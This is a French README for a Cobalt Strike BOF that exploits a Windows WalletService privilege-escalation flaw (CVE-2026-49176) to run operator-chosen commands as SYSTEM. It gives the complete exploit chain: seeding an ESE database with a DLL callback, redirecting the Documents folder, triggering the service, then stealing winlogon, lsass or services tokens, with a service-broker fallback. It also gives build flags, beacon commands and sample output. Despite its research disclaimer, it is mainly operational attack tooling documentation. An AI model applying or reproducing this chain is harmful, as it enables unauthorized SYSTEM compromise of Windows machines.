
CVE-2026-49176 WalletService LPE — PoC autonome + BOF Cobalt Strike (commande SYSTEM sur session interactive)
Cobalt Strike Beacon Object File (BOF) pour l'élévation de privilèges locale via le WalletService Windows (CVE-2026-49176, corrigé en juillet 2026).
Depuis un Beacon à intégrité moyenne (utilisateur standard), cet outil prépare une base de données ESE Wallet malveillante, redirige Documents, déclenche WalletService, et exécute une ligne de commande spécifiée par l'appelant en tant que NT AUTHORITY\SYSTEM sur le bureau interactif.
Arborescence BOF uniquement.
PoC PowerShell autonome d'origine : DavidCarliez/CVE-2026-49176_LPE_POC. Même cause racine de vulnérabilité ; livraison et lancement du processus post-SYSTEM différents.
Réservé à la recherche en sécurité autorisée, à l'éducation et à la validation défensive.
WalletService résout FOLDERID_Documents en empruntant l'identité de l'appelant, puis revient à LocalSystem avant d'ouvrir :
<Documents>\Wallet\wallet.db
Un utilisateur standard peut initialiser cette base de données avec un rappel par défaut défini par l'utilisateur ESE (PATH\payload.dll!Export), pointer Documents vers un répertoire contrôlé, et appeler WinRT WalletManager.RequestStoreAsync / GetItemsAsync afin que le service charge la DLL en tant que SYSTEM.
Analyse : CVE-2026-49176 Exploit Development: WalletService to SYSTEM
Standard user
→ seed Wallet\wallet.db with ESE persisted callback (DLL!WalletCallback)
→ SHSetKnownFolderPath(FOLDERID_Documents) → staging root
→ trigger WalletService (WinRT RequestStore / GetItems)
→ service opens DB as LocalSystem → LoadLibrary(callback DLL)
→ attacker code runs as SYSTEM ← LPE complete
WalletService utilise souvent un jeton SYSTEM filtré (pas de SeAssignPrimaryToken / SeImpersonate utilisable). CreateProcess* direct → 1314.
Original PoC (post-SYSTEM):
DLL → CreateService(shell_broker.exe) → broker → fixed cmd.exe
This BOF (post-SYSTEM):
DLL → steal winlogon/services/lsass token → spawn <command>
→ else CreateService(cmd /c broker) → broker → spawn <command>
wallet_callback.dll + shell_broker.exe via bof_pack("bbZ")result.txt| Élément | Exigence |
|---|
bof/
├── README.md
├── entry.cpp # BOF orchestrator (go)
├── bofdefs.h / beacon.h
├── beacon-debug.h
├── cve2026_49176.cna
├── build.bat
├── payload/
│ ├── wallet_callback.c
│ └── shell_broker.c
├── bin/
│ ├── BOF/cve2026_49176.x64.o
│ └── payload/
│ ├── wallet_callback.dll
│ └── shell_broker.exe
└── resources/strip_bof.ps1
cd bof
build.bat
| Commande | Sortie |
|---|---|
build.bat / build.bat both | DLL + broker + BOF x64 |
build.bat payload | DLL + broker uniquement |
build.bat clean | Supprimer les artefacts |
bin\payload\wallet_callback.dll
bin\payload\shell_broker.exe
bin\BOF\cve2026_49176.x64.o
Modifiez les chemins VCVARS64 dans build.bat si VS n'est pas installé par défaut.
Indicateurs critiques : /DBOF /GS- /GR- /Gs999999 /GF- /Gy- /Gw- /Od (sécurité de l'éditeur de liens CS BOF).
Cobalt Strike → Scripts → Load → cve2026_49176.cna
(Rechargez après chaque recompilation.)
beacon> cve2026_49176 C:\Windows\System32\cmd.exe
beacon> cve2026_49176 C:\Windows\Temp\payload.exe
beacon> cve2026_49176 C:\Windows\System32\cmd.exe /c whoami > C:\Users\Public\whoami.txt
%LOCALAPPDATA%\CVE-2026-49176-BOF\CVE49176_<tick>_<pid>\
├── Wallet\wallet.db
└── payload\
├── wallet_callback.dll
├── shell_broker.exe
├── command.txt # UTF-16 LE
└── result.txt
bof_pack(bid, "bbZ", wallet_callback.dll, shell_broker.exe, command)
[*] CVE-2026-49176 SYSTEM exec: C:\Windows\System32\cmd.exe [dll=... broker=... bof=...]
[*] CVE-2026-49176 BOF enter (args=...)
[*] parsed dll_len=... broker_len=... cmd_bytes=...
[*] stage payload...
[+] Seeded wallet.db, column=256
[*] Documents redirected to: ...
[+] WalletService triggered
[*] wait payload result (20s)...
[+] event=SYSTEM_PROCESS_STARTED ... user=SYSTEM detail=winlogon
[+] SYSTEM process launched
[*] Documents restored: ...
[+] CVE-2026-49176 BOF complete
detail= peut être winlogon, services, lsass, ou un chemin de broker.
Documents est restauré même en cas d'échec lorsque la redirection a réussi.
cve2026_49176.cna
└─ inline-execute(entry.o, go, bbZ)
entry.cpp
├─ stage files under %LOCALAPPDATA%
├─ Jet*A seed wallet.db
├─ SHSetKnownFolderPath(Documents)
├─ WinRT WalletManager trigger
└─ wait result.txt + restore Documents
wallet_callback.dll (WalletService, SYSTEM)
├─ steal winlogon / services / lsass token → spawn command
└─ fallback: CreateService(cmd /c shell_broker)
shell_broker.exe
└─ command.txt → CreateProcessAsUser (interactive session)
%LOCALAPPDATA%\CVE-2026-49176-BOF\* + wallet.db + DLL de rappelOpenProcess / jetons contre winlogon/lsass/servicesCVE49176_*CreateProcessAsUserW / CreateProcessWithTokenW vers des sessions interactives| Lien | Description |
|---|---|
| DavidCarliez/CVE-2026-49176_LPE_POC | PoC LPE autonome d'origine (PoC de recherche en amont) |
| Analyse | Article de recherche original |
| Étape | PoC d'origine | Ce BOF |
|---|
| Initialiser la base ESE | wallet_ese_seed.exe | In-BOF Jet*A |
| Rediriger Documents | documents_path.exe | In-BOF SHGet/SetKnownFolderPath |
| Déclencher Wallet | PowerShell WinRT | In-BOF RoGetActivationFactory |
| DLL de rappel | wallet_callback_shell.dll | wallet_callback.dll |
| PoC d'origine | Ce BOF |
|---|
| Processus cible | cmd.exe codé en dur | Ligne de commande fournie par l'opérateur |
| Méthode principale | Service temporaire → shell_broker.exe → CreateProcessAsUserW | Vol de jeton depuis winlogon / services / lsass → spawn |
| Repli | Aucun | SCM + cmd.exe /c "shell_broker.exe" "result.txt" |
| Beacon | x64, intégrité moyenne (non élevée) |
| Cible | WalletService vulnérable (antérieur au correctif de juillet 2026) |
| CS | Cobalt Strike 4.x avec prise en charge BOF |
| Compilation | VS 2019/2022 C++ + SDK Windows 10 (esent.h, WinRT) |
| Journal | Signification |
|---|
JetAddColumn: -1003 | Problème de paramètre ESE |
error=1314 | SYSTEM filtré ; nécessite vol de jeton / broker |
STEAL_FAIL error=5 | Impossible d'ouvrir le processus/jeton cible |
StartService error=32 | Violation de partage (atténuée via wrapper cmd) |
detail=all_methods | Toutes les stratégies post-SYSTEM ont échoué |
Linker Unknown symbol '??_C@_...' | Mauvais indicateurs de compilation BOF ; recompilez avec build.bat |